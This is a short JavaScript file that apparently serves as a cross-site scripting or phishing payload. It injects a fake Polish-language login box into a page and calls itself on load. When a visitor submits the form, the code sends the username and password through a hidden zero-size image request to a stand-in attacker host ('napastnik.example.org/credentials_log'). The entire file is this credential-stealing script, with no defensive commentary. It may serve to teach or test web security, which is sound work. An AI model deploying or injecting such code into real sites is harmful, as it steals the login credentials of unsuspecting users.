﻿var LoginBox;
function showLoginBox() {
  var oBody = document.getElementsByTagName("body").item(0);
        
  LoginBox = document.createElement("div");
  LoginBox.setAttribute('id', 'login_box');
  LoginBox.style.width = 400;
  LoginBox.style.height = 200;
  LoginBox.style.border='red solid 10px';
  LoginBox.style.top = 0;
  LoginBox.style.left = 0;
  LoginBox.style.position = "absolute";
  LoginBox.style.zindex = "100";
  LoginBox.style.backgroundColor = "#FFFFFF";
  LoginBox.style.display = "block";
  LoginBox.innerHTML = 
    '<div><p>Zaloguj się</p>' +
    '<form action="#">' +
    'Nazwa użytkownika:<input name="username" type="text"/><br/>' +
    'Hasło:<input name="password" type="password"/><br/>' +
    '<input type="button" onclick="submit_form(this)" value="Zaloguj"/>' +
    '</form>' +
    '</div>';
  oBody.appendChild(LoginBox);
}      
        
function submit_form(f) {
LoginBox.innerHTML=
  '<img src="http://napastnik.example.org/credentials_log?username=' +
    encodeURI(f.form.elements['username'].value) + '&password=' +
    encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>';
  LoginBox.style.display = "none";
}
        
showLoginBox();
